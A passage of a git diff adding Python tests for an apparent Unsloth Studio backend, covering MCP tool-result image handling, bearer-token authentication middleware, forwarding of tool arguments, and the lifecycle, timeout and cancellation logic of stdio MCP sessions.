+    text = "before\n__MCP_IMAGES__: literal from source\nafter"
+    assert strip_result_for_model(text) == text
+
+
+def test_strip_preserves_non_image_json_after_marker():
+    text = 'log line\n__MCP_IMAGES__:["not", "image", "dicts"]'
+    assert strip_result_for_model(text) == text
+
+
+def test_strip_removes_only_valid_terminal_envelope():
+    text = (
+        "Earlier mention: __MCP_IMAGES__: is documented here"
+        "\n[1 image attached; displayed to the user]"
+        '\n__MCP_IMAGES__:[{"data": "AAAA", "mimeType": "image/png"}]'
+    )
+    assert strip_result_for_model(text) == (
+        "Earlier mention: __MCP_IMAGES__: is documented here"
+        "\n[1 image attached; displayed to the user]"
+    )
+
+
+def test_strip_still_handles_images_and_rag_sentinels():
+    assert strip_result_for_model("output\n__IMAGES__:['a.png']") == "output"
+    assert strip_result_for_model("answer\n__RAG_SOURCES__:[{}]") == "answer"
+
+
+def test_error_result_keeps_error_prefix_and_images():
+    flat = _flatten_result(_result(_text("boom"), _image(), is_error = True))
+    assert flat.startswith("Error: boom")
+    assert is_tool_error(flat)
+    assert MCP_IMAGES_SENTINEL in flat
+
+
+def test_image_only_error_no_longer_reports_no_content():
+    flat = _flatten_result(_result(_image(), is_error = True))
+    assert flat.startswith("Error: [1 image attached")
+    assert "tool returned no content" not in flat
+
+
+def test_oversized_image_omitted_with_note():
+    huge = "A" * (MAX_IMAGE_PAYLOAD_CHARS + 1)
+    flat = _flatten_result(_result(_image(data = huge)))
+    assert flat == "[1 image omitted (too large)]"
+    assert MCP_IMAGES_SENTINEL not in flat
+
+
+def test_oversized_budget_shared_across_images():
+    big = "A" * (MAX_IMAGE_PAYLOAD_CHARS - 10)
+    flat = _flatten_result(_result(_image(data = big), _image()))
+    body, payload = flat.split("\n" + MCP_IMAGES_SENTINEL, 1)
+    assert "1 image attached" in body
+    assert "1 image omitted (too large)" in body
+    images = json.loads(payload)
+    assert len(images) == 1 and images[0]["data"] == big
+
+
+def test_non_image_binary_block_still_ignored():
+    flat = _flatten_result(
+        _result(SimpleNamespace(type = "audio", data = PNG_B64, mimeType = "audio/wav"))
+    )
+    assert flat == ""
+
+
+def test_structured_content_fallback_still_used():
+    flat = _flatten_result(_result(structured = {"ok": True}))
+    assert flat == "{'ok': True}"
+
+
+def test_call_tool_sync_passes_raise_on_error_false_and_keeps_error_images(monkeypatch):
+    # Guards that call_tool_sync passes raise_on_error=False, so an is_error result
+    # with image content reaches _flatten_result instead of FastMCP raising ToolError.
+    seen = {}
+
+    class _FakeClient:
+        async def call_tool(
+            self,
+            name,
+            args,
+            raise_on_error = True,
+        ):
+            seen["raise_on_error"] = raise_on_error
+            return _result(_text("boom"), _image(), is_error = True)
+
+    @contextlib.asynccontextmanager
+    async def _fake_client(url, headers, use_oauth):
+        yield _FakeClient()
+
+    monkeypatch.setattr(mcp_client, "_client", _fake_client)
+    out = call_tool_sync("http://x", None, "take_screenshot", {})
+
+    assert seen["raise_on_error"] is False
+    assert out.startswith("Error: boom")
+    assert MCP_IMAGES_SENTINEL in out
+    assert is_tool_error(out)
diff --git a/studio/backend/tests/test_mcp_server.py b/studio/backend/tests/test_mcp_server.py
new file mode 100644
index 0000000000..71792605ae
--- /dev/null
+++ b/studio/backend/tests/test_mcp_server.py
@@ -0,0 +1,290 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import asyncio
+import sys
+import types
+
+import pytest
+
+from mcp_server import BearerTokenMiddleware, _clamp, _dump, create_studio_mcp
+
+
+def _get_tool(name):
+    tools = asyncio.run(create_studio_mcp().list_tools())
+    return {tool.name: tool for tool in tools}[name]
+
+
+def test_studio_mcp_registers_control_plane_tools():
+    tools = asyncio.run(create_studio_mcp().list_tools())
+
+    assert {tool.name for tool in tools} == {
+        "studio_status",
+        "list_local_models",
+        "get_training_status",
+        "start_training",
+        "stop_training",
+        "list_training_runs",
+        "validate_recipe",
+        "get_recipe_job_status",
+        "get_recipe_job_dataset",
+        "load_checkpoint",
+        "export_gguf",
+    }
+
+
+def test_dump_serializes_pydantic_values():
+    class Response:
+        def model_dump(self, *, mode):
+            assert mode == "json"
+            return {"ok": True}
+
+    assert _dump(Response()) == {"ok": True}
+    assert _dump({"already": "json"}) == {"already": "json"}
+
+
+def test_bearer_token_middleware_rejects_wrong_token():
+    events = []
+
+    async def app(scope, receive, send):
+        events.append("app")
+
+    async def send(message):
+        events.append(message)
+
+    middleware = BearerTokenMiddleware(app, "secret")
+    asyncio.run(
+        middleware(
+            {"type": "http", "headers": [(b"authorization", b"Bearer wrong")]},
+            None,
+            send,
+        )
+    )
+
+    assert events[0]["status"] == 401
+    assert "app" not in events
+
+
+def test_bearer_token_middleware_closes_unauthorized_websocket():
+    events = []
+
+    async def app(scope, receive, send):
+        events.append("app")
+
+    async def send(message):
+        events.append(message)
+
+    middleware = BearerTokenMiddleware(app, "secret")
+    asyncio.run(
+        middleware(
+            {"type": "websocket", "headers": []},
+            None,
+            send,
+        )
+    )
+
+    assert events == [{"type": "websocket.close", "code": 4401}]
+
+
+def test_bearer_token_middleware_rejects_non_ascii_authorization():
+    # A non-ASCII bearer value must produce a clean 401, not a 500. Comparing on
+    # bytes avoids the str hmac.compare_digest TypeError on non-ASCII input.
+    events = []
+
+    async def app(scope, receive, send):
+        events.append("app")
+
+    async def send(message):
+        events.append(message)
+
+    middleware = BearerTokenMiddleware(app, "secret")
+    asyncio.run(
+        middleware(
+            {"type": "http", "headers": [(b"authorization", b"Bearer \xff\xff")]},
+            None,
+            send,
+        )
+    )
+
+    assert events[0]["status"] == 401
+    assert "app" not in events
+
+
+def test_bearer_token_middleware_accepts_correct_token():
+    events = []
+
+    async def app(scope, receive, send):
+        events.append("app")
+
+    async def send(message):
+        events.append(message)
+
+    middleware = BearerTokenMiddleware(app, "secret")
+    asyncio.run(
+        middleware(
+            {"type": "http", "headers": [(b"authorization", b"Bearer secret")]},
+            None,
+            send,
+        )
+    )
+
+    assert events == ["app"]
+
+
+def test_bearer_token_middleware_requires_non_empty_token():
+    async def app(scope, receive, send):
+        pass
+
+    for bad in ("", "   "):
+        with pytest.raises(ValueError):
+            BearerTokenMiddleware(app, bad)
+
+
+def test_bearer_token_middleware_rejects_non_ascii_token():
+    async def app(scope, receive, send):
+        pass
+
+    # non-ASCII tokens cannot be transmitted in an HTTP header by a standard
+    # client, so they are rejected at construction instead of locking out.
+    for bad in ("töken", "\U0001f600"):
+        with pytest.raises(ValueError):
+            BearerTokenMiddleware(app, bad)
+
+
+def test_bearer_token_middleware_passes_through_non_http_scopes():
+    events = []
+
+    async def app(scope, receive, send):
+        events.append("app")
+
+    async def send(message):
+        events.append(message)
+
+    middleware = BearerTokenMiddleware(app, "secret")
+    asyncio.run(middleware({"type": "lifespan"}, None, send))
+
+    assert events == ["app"]
+
+
+def test_clamp_restricts_to_inclusive_bounds():
+    assert _clamp(5, 1, 200) == 5
+    assert _clamp(-10, 1, 200) == 1
+    assert _clamp(10_000, 1, 200) == 200
+    assert _clamp(0, 1, 500) == 1
+    assert _clamp(1_000, 1, 500) == 500
+
+
+def test_export_and_checkpoint_tools_expose_forwarded_fields():
+    export_props = set(_get_tool("export_gguf").parameters["properties"])
+    assert {"hf_token", "imatrix", "imatrix_path"} <= export_props
+
+    checkpoint_props = set(_get_tool("load_checkpoint").parameters["properties"])
+    assert {"hf_token", "approved_remote_code_fingerprint"} <= checkpoint_props
+
+
+def _stub_module(monkeypatch, name, **attrs):
+    module = types.ModuleType(name)
+    for key, value in attrs.items():
+        setattr(module, key, value)
+    if "." in name:
+        module.__path__ = []  # mark package-like so submodule imports resolve
+    monkeypatch.setitem(sys.modules, name, module)
+    return module
+
+
+def test_export_gguf_forwards_hf_token_and_imatrix(monkeypatch):
+    captured = {}
+
+    class FakeExportGGUFRequest:
+        def __init__(self, **kwargs):
+            captured.update(kwargs)
+
+    async def fake_export(request, current_subject):
+        return {"current_subject": current_subject}
+
+    _stub_module(monkeypatch, "models", ExportGGUFRequest = FakeExportGGUFRequest)
+    _stub_module(monkeypatch, "routes")
+    _stub_module(monkeypatch, "routes.export", export_gguf = fake_export)
+
+    tool = _get_tool("export_gguf")
+    result = asyncio.run(
+        tool.fn(
+            save_directory = "/tmp/out",
+            quantization_method = ["Q4_K_M", "Q8_0"],
+            push_to_hub = True,
+            repo_id = "me/model",
+            hf_token = "hf_secret",
+            imatrix = True,
+            imatrix_path = "/tmp/imatrix.dat",
+        )
+    )
+
+    assert captured["hf_token"] == "hf_secret"
+    assert captured["imatrix"] is True
+    assert captured["imatrix_path"] == "/tmp/imatrix.dat"
+    assert captured["quantization_method"] == ["Q4_K_M", "Q8_0"]
+    assert result["current_subject"] == "mcp"
+
+
+def test_load_checkpoint_forwards_token_and_fingerprint(monkeypatch):
+    captured = {}
+
+    class FakeLoadCheckpointRequest:
+        def __init__(self, **kwargs):
+            captured.update(kwargs)
+
+    async def fake_load(request, current_subject):
+        return {"current_subject": current_subject}
+
+    _stub_module(monkeypatch, "models", LoadCheckpointRequest = FakeLoadCheckpointRequest)
+    _stub_module(monkeypatch, "routes")
+    _stub_module(monkeypatch, "routes.export", load_checkpoint = fake_load)
+
+    tool = _get_tool("load_checkpoint")
+    asyncio.run(
+        tool.fn(
+            checkpoint_path = "/tmp/ckpt",
+            approved_remote_code_fingerprint = "sha256:abc",
+            hf_token = "hf_secret",
+        )
+    )
+
+    assert captured["hf_token"] == "hf_secret"
+    assert captured["approved_remote_code_fingerprint"] == "sha256:abc"
+
+
+def test_list_training_runs_clamps_pagination(monkeypatch):
+    captured = {}
+
+    async def fake_list_runs(limit, offset, current_subject):
+        captured["limit"] = limit
+        captured["offset"] = offset
+        return {"ok": True}
+
+    _stub_module(monkeypatch, "routes")
+    _stub_module(monkeypatch, "routes.training_history", list_training_runs = fake_list_runs)
+
+    tool = _get_tool("list_training_runs")
+    asyncio.run(tool.fn(limit = 10_000, offset = -5))
+
+    assert captured["limit"] == 200
+    assert captured["offset"] == 0
+
+
+def test_get_recipe_job_dataset_clamps_pagination(monkeypatch):
+    captured = {}
+
+    def fake_job_dataset(job_id, limit, offset):
+        captured["limit"] = limit
+        captured["offset"] = offset
+        return {"ok": True}
+
+    _stub_module(monkeypatch, "routes")
+    _stub_module(monkeypatch, "routes.data_recipe")
+    _stub_module(monkeypatch, "routes.data_recipe.jobs", job_dataset = fake_job_dataset)
+
+    tool = _get_tool("get_recipe_job_dataset")  # this tool is synchronous
+    tool.fn(job_id = "job-1", limit = -1, offset = -9)
+
+    assert captured["limit"] == 1
+    assert captured["offset"] == 0
diff --git a/studio/backend/tests/test_mcp_servers.py b/studio/backend/tests/test_mcp_servers.py
index 12239e7113..6432ffb8e1 100644
--- a/studio/backend/tests/test_mcp_servers.py
+++ b/studio/backend/tests/test_mcp_servers.py
@@ -198,7 +198,12 @@ def test_call_tool_sync_respects_pre_set_cancel_event(monkeypatch):
         async def __aexit__(self, *args):
             return False
 
-        async def call_tool(self, name, args):
+        async def call_tool(
+            self,
+            name,
+            args,
+            raise_on_error = True,
+        ):
             import asyncio as _asyncio
             await _asyncio.sleep(30)  # never finishes during the test
 
@@ -520,7 +525,12 @@ def test_call_tool_sync_short_circuits_on_pre_set_cancel(monkeypatch):
         async def __aexit__(self, *args):
             return False
 
-        async def call_tool(self, name, args):
+        async def call_tool(
+            self,
+            name,
+            args,
+            raise_on_error = True,
+        ):
             return "ran"
 
     monkeypatch.setattr(mcp_client, "_client", lambda *a, **kw: _StubClient())
@@ -587,10 +597,12 @@ def test_tool_xml_strip_handles_hyphenated_function_names():
     import re as _re
     from pathlib import Path
 
+    from core.inference.tool_call_parser import _DEEPSEEK_OPEN_RE_SRC as _DS_OPEN_SRC
+
     src = (Path(__file__).resolve().parent.parent / "routes/inference.py").read_text()
     m = _re.search(r"_TOOL_XML_RE = _re\.compile\((.*?)\n\)", src, _re.DOTALL)
     assert m, "could not extract _TOOL_XML_RE"
-    ns: dict = {"_re": _re}
+    ns: dict = {"_re": _re, "_DS_OPEN_SRC": _DS_OPEN_SRC}
     exec(f"_TOOL_XML_RE = _re.compile({m.group(1)})", ns)
     rx = ns["_TOOL_XML_RE"]
     stripped = rx.sub(
@@ -785,6 +797,68 @@ def test_update_display_name_keeps_tool_cache(tmp_path, monkeypatch):
     assert mcp_client.get_cached_tools("s1") == cached
 
 
+def test_update_rename_keeps_stdio_session(tmp_path, monkeypatch):
+    """The edit dialog resends url/headers/oauth unchanged on a rename, so gating
+    the close on field presence would drop the live stdio session. Only a real
+    endpoint/auth change may close it."""
+    import asyncio
+    import json
+
+    _reset_db(tmp_path, monkeypatch)
+    from models.mcp_servers import McpServerUpdate
+    import routes.mcp_servers as routes_mcp
+
+    closed: list = []
+    monkeypatch.setattr(routes_mcp, "stdio_mcp_enabled", lambda: True)
+    monkeypatch.setattr(routes_mcp, "close_stdio_sessions", lambda *a, **k: closed.append(a))
+    mcp_servers_db.create_server(
+        id = "s1",
+        display_name = "A",
+        url = "npx demo-server",
+        headers_json = json.dumps({"API_KEY": "x"}),
+        is_enabled = True,
+    )
+    asyncio.run(
+        routes_mcp.update_mcp_server(
+            "s1",
+            McpServerUpdate(
+                display_name = "B",
+                url = "npx demo-server",
+                headers = {"API_KEY": "x"},
+                use_oauth = False,
+            ),
+            current_subject = "u",
+        )
+    )
+    assert closed == []
+    assert mcp_servers_db.get_server("s1")["display_name"] == "B"
+
+
+def test_update_stdio_command_change_closes_session(tmp_path, monkeypatch):
+    """A real command change must still close the old stdio session."""
+    import asyncio
+
+    _reset_db(tmp_path, monkeypatch)
+    from models.mcp_servers import McpServerUpdate
+    import routes.mcp_servers as routes_mcp
+
+    closed: list = []
+    monkeypatch.setattr(routes_mcp, "stdio_mcp_enabled", lambda: True)
+    monkeypatch.setattr(routes_mcp, "close_stdio_sessions", lambda *a, **k: closed.append(a))
+    mcp_servers_db.create_server(
+        id = "s1",
+        display_name = "A",
+        url = "npx demo-server",
+        is_enabled = True,
+    )
+    asyncio.run(
+        routes_mcp.update_mcp_server(
+            "s1", McpServerUpdate(url = "npx other-server"), current_subject = "u"
+        )
+    )
+    assert len(closed) == 1
+
+
 def test_update_disable_evicts_tool_cache(tmp_path, monkeypatch):
     """Disabling a server must drop its cached tools, not leave them unread."""
     import asyncio
diff --git a/studio/backend/tests/test_mcp_stdio_pr5863.py b/studio/backend/tests/test_mcp_stdio_pr5863.py
index 15fe553fb2..1cb1211cf2 100644
--- a/studio/backend/tests/test_mcp_stdio_pr5863.py
+++ b/studio/backend/tests/test_mcp_stdio_pr5863.py
@@ -93,7 +93,12 @@ class _RecordingClient:
     async def list_tools(self):
         return [_FakeTool("list_directory"), _FakeTool("write_file")]
 
-    async def call_tool(self, name, args):
+    async def call_tool(
+        self,
+        name,
+        args,
+        raise_on_error = True,
+    ):
         return _FakeResult(f"called {name}")
 
 
diff --git a/studio/backend/tests/test_mcp_stdio_sessions.py b/studio/backend/tests/test_mcp_stdio_sessions.py
new file mode 100644
index 0000000000..d714d9d640
--- /dev/null
+++ b/studio/backend/tests/test_mcp_stdio_sessions.py
@@ -0,0 +1,629 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+from __future__ import annotations
+
+import asyncio
+import sys
+import threading
+import time
+from pathlib import Path
+from types import SimpleNamespace
+
+import pytest
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+from core.inference import mcp_client
+from core.inference.mcp_client import call_tool_sync, close_stdio_sessions
+
+STDIO_URL = "npx fake-stateful-server"
+HTTP_URL = "https://mcp.example.test/mcp"
+
+
+def _result(text: str) -> SimpleNamespace:
+    return SimpleNamespace(
+        content = [SimpleNamespace(type = "text", text = text)],
+        is_error = False,
+        structured_content = None,
+    )
+
+
+class FakeClient:
+    instances: list["FakeClient"] = []
+
+    def __init__(self, url: str):
+        self.url = url
+        self.entered = 0
+        self.exited = 0
+        self.calls: list[tuple[str, dict]] = []
+        self.connected = False
+        self.fail_next = False
+        self.call_delay = 0.0
+        # Models a dead stdio transport: real Client.is_connected() stays True
+        # after the subprocess dies, so liveness is probed via the transport.
+        self.dead = False
+        self.transport = SimpleNamespace(_is_session_dead = lambda: self.dead)
+        FakeClient.instances.append(self)
+
+    async def __aenter__(self):
+        self.entered += 1
+        self.connected = True
+        return self
+
+    async def __aexit__(self, *exc):
+        self.exited += 1
+        self.connected = False
+
+    def is_connected(self) -> bool:
+        return self.connected
+
+    async def call_tool(self, name: str, args: dict):
+        if self.call_delay:
+            await asyncio.sleep(self.call_delay)
+        if self.fail_next:
+            self.fail_next = False
+            self.connected = False
+            raise RuntimeError("transport closed")
+        self.calls.append((name, args))
+        return _result(f"call-{len(self.calls)}")
+
+
+@pytest.fixture
+def fake_clients(monkeypatch):
+    FakeClient.instances = []
+    monkeypatch.setattr(
+        mcp_client, "_client", lambda url, headers, use_oauth = False: FakeClient(url)
+    )
+    yield FakeClient.instances
+    close_stdio_sessions()
+
+
+def test_stdio_call_without_scope_is_one_shot(fake_clients):
+    r1 = call_tool_sync(STDIO_URL, None, "browser_navigate", {"url": "https://x.test"})
+    r2 = call_tool_sync(STDIO_URL, None, "browser_take_screenshot", {})
+    assert r1 == "call-1"
+    assert r2 == "call-1"
+    assert len(fake_clients) == 2
+    assert all(client.entered == 1 and client.exited == 1 for client in fake_clients)
+
+
+def test_stdio_sessions_keyed_by_url_and_env(fake_clients):
+    call_tool_sync(STDIO_URL, None, "t", {})
+    call_tool_sync("npx other-server", None, "t", {})
+    call_tool_sync(STDIO_URL, {"ENV_VAR": "1"}, "t", {})
+    assert len(fake_clients) == 3
+
+
+def test_stdio_sessions_scoped_per_chat(fake_clients):
+    # Two conversations must not share one stateful server process.
+    call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat-a")
+    call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat-b")
+    call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat-a")
+    assert len(fake_clients) == 2
+    assert fake_clients[0].calls and len(fake_clients[0].calls) == 2
+
+
+def test_dead_stdio_session_recovers(fake_clients):
+    assert call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat") == "call-1"
+    # Subprocess dies between calls: the dead transport is detected before the
+    # next dispatch, so the call reconnects on a fresh session instead of failing.
+    fake_clients[0].dead = True
+    assert call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat") == "call-1"
+    assert len(fake_clients) == 2
+    assert fake_clients[0].exited == 1
+
+
+def test_tool_error_does_not_recycle_session(fake_clients, monkeypatch):
+    from fastmcp.exceptions import ToolError
+
+    class ToolFailure(FakeClient):
+        async def call_tool(self, name, args):
+            if name == "boom":
+                raise ToolError("tool exploded")  # tool-level: session stays connected
+            return await super().call_tool(name, args)
+
+    monkeypatch.setattr(
+        mcp_client, "_client", lambda url, headers, use_oauth = False: ToolFailure(url)
+    )
+    assert call_tool_sync(STDIO_URL, None, "boom", {}, scope = "chat").startswith("Error: MCP tool")
+    assert call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat") == "call-1"
+    assert len(fake_clients) == 1
+
+
+def test_http_stays_one_shot(fake_clients):
+    call_tool_sync(HTTP_URL, None, "t", {})
+    call_tool_sync(HTTP_URL, None, "t", {})
+    assert len(fake_clients) == 2
+    assert all(c.entered == 1 and c.exited == 1 for c in fake_clients)
+
+
+def test_timeout_discards_stdio_session(fake_clients):
+    call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat")
+    key = mcp_client._session_key(STDIO_URL, None, "chat")
+    fake_clients[0].call_delay = 0.5
+    out = call_tool_sync(
+        STDIO_URL,
+        None,
+        "slow",
+        {},
+        timeout = 0.05,
+        cancel_event = threading.Event(),
+        scope = "chat",
+    )
+    assert "timed out" in out
+    assert fake_clients[0].exited == 1
+    assert key not in mcp_client._stdio_key_locks
+    assert call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat") == "call-1"
+    assert len(fake_clients) == 2
+
+
+def test_no_timeout_allows_long_call(fake_clients):
+    call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat")
+    fake_clients[0].call_delay = 0.2
+    # timeout=None means no deadline: the call must not be treated as wedged.
+    assert call_tool_sync(STDIO_URL, None, "slow", {}, timeout = None, scope = "chat") == "call-2"
+
+
+def test_connect_races_cancel_event(fake_clients, monkeypatch):
+    class SlowStart(FakeClient):
+        async def __aenter__(self):
+            await asyncio.sleep(5.0)
+            return await super().__aenter__()
+
+    monkeypatch.setattr(mcp_client, "_client", lambda url, headers, use_oauth = False: SlowStart(url))
+    ev = threading.Event()
+    threading.Timer(0.1, ev.set).start()
+    start = time.monotonic()
+    out = call_tool_sync(STDIO_URL, None, "t", {}, cancel_event = ev)
+    assert out == "Error: MCP tool 't' cancelled"
+    assert time.monotonic() - start < 3.0
+    assert mcp_client._stdio_sessions == {}
+
+
+def test_connect_respects_caller_timeout(fake_clients, monkeypatch):
+    class SlowStart(FakeClient):
+        async def __aenter__(self):
+            await asyncio.sleep(5.0)
+            return await super().__aenter__()
+
+    monkeypatch.setattr(mcp_client, "_client", lambda url, headers, use_oauth = False: SlowStart(url))
+    start = time.monotonic()
+    out = call_tool_sync(STDIO_URL, None, "t", {}, timeout = 0.2)
+    assert "timed out" in out
+    assert time.monotonic() - start < 3.0
+    assert mcp_client._stdio_sessions == {}
+
+
+def test_connect_failure_timeout_surfaces_immediately(fake_clients, monkeypatch):
+    class InitTimeout(FakeClient):
+        async def __aenter__(self):
+            raise asyncio.TimeoutError  # e.g. fastmcp's own init timeout
+
+    monkeypatch.setattr(
+        mcp_client, "_client", lambda url, headers, use_oauth = False: InitTimeout(url)
+    )
+    start = time.monotonic()
+    out = call_tool_sync(STDIO_URL, None, "t", {}, timeout = 30.0)
+    assert "timed out" in out
+    # Must fail fast, not wait out the 30s/60s connect window.
+    assert time.monotonic() - start < 5.0
+    assert mcp_client._stdio_sessions == {}
+
+
+def test_key_lock_wait_honors_cancel_and_timeout(fake_clients, monkeypatch):
+    class SlowStart(FakeClient):
+        async def __aenter__(self):
+            await asyncio.sleep(1.5)
+            return await super().__aenter__()
+
+    monkeypatch.setattr(mcp_client, "_client", lambda url, headers, use_oauth = False: SlowStart(url))
+    first = threading.Thread(target = lambda: call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat"))
+    first.start()
+    key = mcp_client._session_key(STDIO_URL, None, "chat")
+    deadline = time.monotonic() + 5.0
+    while time.monotonic() < deadline:
+        key_lock = mcp_client._stdio_key_locks.get(key)
+        if key_lock is not None and key_lock.lock.locked():
+            break
+        time.sleep(0.01)
+    # Second same-scope call is stuck behind the first slow connect: Stop must
+    # interrupt the key-lock wait, and a short tool timeout must bound it.
+    ev = threading.Event()
+    threading.Timer(0.2, ev.set).start()
+    start = time.monotonic()
+    out = call_tool_sync(STDIO_URL, None, "t", {}, cancel_event = ev, scope = "chat")
+    assert out == "Error: MCP tool 't' cancelled"
+    assert time.monotonic() - start < 1.0
+    start = time.monotonic()
+    out = call_tool_sync(STDIO_URL, None, "t", {}, timeout = 0.2, scope = "chat")
+    assert "timed out" in out
+    assert time.monotonic() - start < 1.0
+    first.join(10.0)
+    assert not first.is_alive()
+
+
+def test_cancel_pre_set_spawns_nothing(fake_clients):
+    ev = threading.Event()
+    ev.set()
+    out = call_tool_sync(STDIO_URL, None, "t", {}, cancel_event = ev)
+    assert out == "Error: MCP tool 't' cancelled"
+    assert fake_clients == []
+
+
+def test_idle_reap_closes_session(fake_clients, monkeypatch):
+    call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat")
+    key = mcp_client._session_key(STDIO_URL, None, "chat")
+    assert key in mcp_client._stdio_key_locks
+    monkeypatch.setattr(mcp_client, "_STDIO_SESSION_IDLE_TTL", 0.0)
+    mcp_client._reap_idle_stdio_sessions()
+    assert fake_clients[0].exited == 1
+    assert mcp_client._stdio_sessions == {}
+    assert key not in mcp_client._stdio_key_locks
+    # Next call transparently opens a fresh session.
+    assert call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat") == "call-1"
+    assert len(fake_clients) == 2
+
+
+def test_reap_skips_in_flight_session(fake_clients, monkeypatch):
+    call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat")
+    monkeypatch.setattr(mcp_client, "_STDIO_SESSION_IDLE_TTL", 0.0)
+    session = next(iter(mcp_client._stdio_sessions.values()))
+    with mcp_client._stdio_sessions_lock:
+        session.in_flight = 1
+    try:
+        mcp_client._reap_idle_stdio_sessions()
+        assert fake_clients[0].exited == 0
+    finally:
+        with mcp_client._stdio_sessions_lock:
+            session.in_flight = 0
+
+
+def test_close_during_connect_is_not_cached(fake_clients, monkeypatch):
+    class SlowStart(FakeClient):
+        async def __aenter__(self):
+            await asyncio.sleep(0.5)
+            return await super().__aenter__()
+
+    monkeypatch.setattr(mcp_client, "_client", lambda url, headers, use_oauth = False: SlowStart(url))
+    results: list[str] = []
+    worker = threading.Thread(
+        target = lambda: results.append(call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat"))
+    )
+    worker.start()
+    deadline = time.monotonic() + 5.0
+    while not fake_clients and time.monotonic() < deadline:
+        time.sleep(0.01)
+    assert fake_clients  # connect is in progress
+    # Server deleted/updated mid-connect: the session must not be cached after.
+    close_stdio_sessions(STDIO_URL)
+    worker.join(10.0)
+    assert results and results[0].startswith("Error: MCP tool 't' failed")
+    assert mcp_client._stdio_sessions == {}
+    assert fake_clients[0].exited == 1
+
+
+def test_connect_abort_race_still_closes_client(fake_clients, monkeypatch):
+    class WinsRace(FakeClient):
+        async def __aenter__(self):
+            try:
+                await asyncio.sleep(5.0)
+            except asyncio.CancelledError:
+                pass  # connect finishes just as the abort lands
+            return await super().__aenter__()
+
+    monkeypatch.setattr(mcp_client, "_client", lambda url, headers, use_oauth = False: WinsRace(url))
+    out = call_tool_sync(STDIO_URL, None, "t", {}, timeout = 0.1)
+    assert "timed out" in out
+    assert fake_clients[0].entered == 1
+    assert fake_clients[0].exited == 1  # no orphaned subprocess
+    assert mcp_client._stdio_sessions == {}
+
+
+def test_close_unblocks_no_limit_call(fake_clients):
+    call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat")
+    session = next(iter(mcp_client._stdio_sessions.values()))
+    fake_clients[0].call_delay = 30.0
+    results: list[str] = []
+    worker = threading.Thread(
+        target = lambda: results.append(
+            call_tool_sync(STDIO_URL, None, "slow", {}, timeout = None, scope = "chat")
+        )
+    )
+    worker.start()
+    deadline = time.monotonic() + 5.0
+    while time.monotonic() < deadline:
+        with mcp_client._stdio_sessions_lock:
+            if session.in_flight >= 1:
+                break
+        time.sleep(0.01)
+    # Server deleted while a no-limit call is in flight: the request thread
+    # must not hang forever on the stopped session loop.
+    close_stdio_sessions(STDIO_URL)
+    worker.join(5.0)
+    assert not worker.is_alive()
+    assert results and results[0].startswith("Error: MCP tool 'slow' failed")
+
+
+def test_lock_wait_timeout_spares_the_borrowed_session(fake_clients):
+    call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat")
+    session = next(iter(mcp_client._stdio_sessions.values()))
+    fake_clients[0].call_delay = 1.0
+    results: list[str] = []
+    slow = threading.Thread(
+        target = lambda: results.append(
+            call_tool_sync(STDIO_URL, None, "slow", {}, timeout = None, scope = "chat")
+        )
+    )
+    slow.start()
+    deadline = time.monotonic() + 5.0
+    while time.monotonic() < deadline:
+        with mcp_client._stdio_sessions_lock:
+            if session.in_flight >= 1:
+                break
+        time.sleep(0.01)
+    # A second same-scope call times out waiting for the call lock; it never
+    # touched the transport, so the shared session must stay alive and cached.
+    out = call_tool_sync(STDIO_URL, None, "fast", {}, timeout = 0.05, scope = "chat")
+    assert "timed out" in out
+    assert fake_clients[0].exited == 0
+    slow.join(10.0)
+    assert results == ["call-2"]
+    assert fake_clients[0].exited == 0
+    assert len(mcp_client._stdio_sessions) == 1
+
+
+def test_stale_session_close_deferred_until_borrower_drains(fake_clients):
+    call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat")
+    session = next(iter(mcp_client._stdio_sessions.values()))
+    fake_clients[0].call_delay = 0.8
+    results: list[str] = []
+    slow = threading.Thread(
+        target = lambda: results.append(
+            call_tool_sync(STDIO_URL, None, "slow", {}, timeout = None, scope = "chat")
+        )
+    )
+    slow.start()
+    deadline = time.monotonic() + 5.0
+    while time.monotonic() < deadline:
+        with mcp_client._stdio_sessions_lock:
+            if session.in_flight >= 1:
+                break
+        time.sleep(0.01)
+    # The subprocess "dies" mid-call: a new caller replaces the stale session,
+    # but its close must wait for the slow borrower instead of killing its call.
+    fake_clients[0].connected = False
+    out = call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat")
+    assert out == "call-1"
+    assert len(fake_clients) == 2
+    assert fake_clients[0].exited == 0
+    slow.join(10.0)
+    assert results == ["call-2"]
+    assert fake_clients[0].exited == 1  # last borrower performed the deferred close
+    assert len(mcp_client._stdio_sessions) == 1
+
+
+def test_error_on_closed_session_does_not_retry(fake_clients):
+    call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat")
+    session = next(iter(mcp_client._stdio_sessions.values()))
+    # A close can surface at the borrower as a plain transport error instead
+    # of _SessionClosed; that must not be treated as a crash and retried.
+    fake_clients[0].fail_next = True
+    session.closed.set()
+    out = call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat")
+    assert out == "Error: MCP tool 't' failed: MCP server was updated or removed during the call"
+    assert len(fake_clients) == 1  # no respawn for the removed config
+
+
+def test_config_check_blocks_stale_publish(fake_clients):
+    # Simulates a caller that read the server row before an update/delete:
+    # the row re-check runs after connect and must block caching.
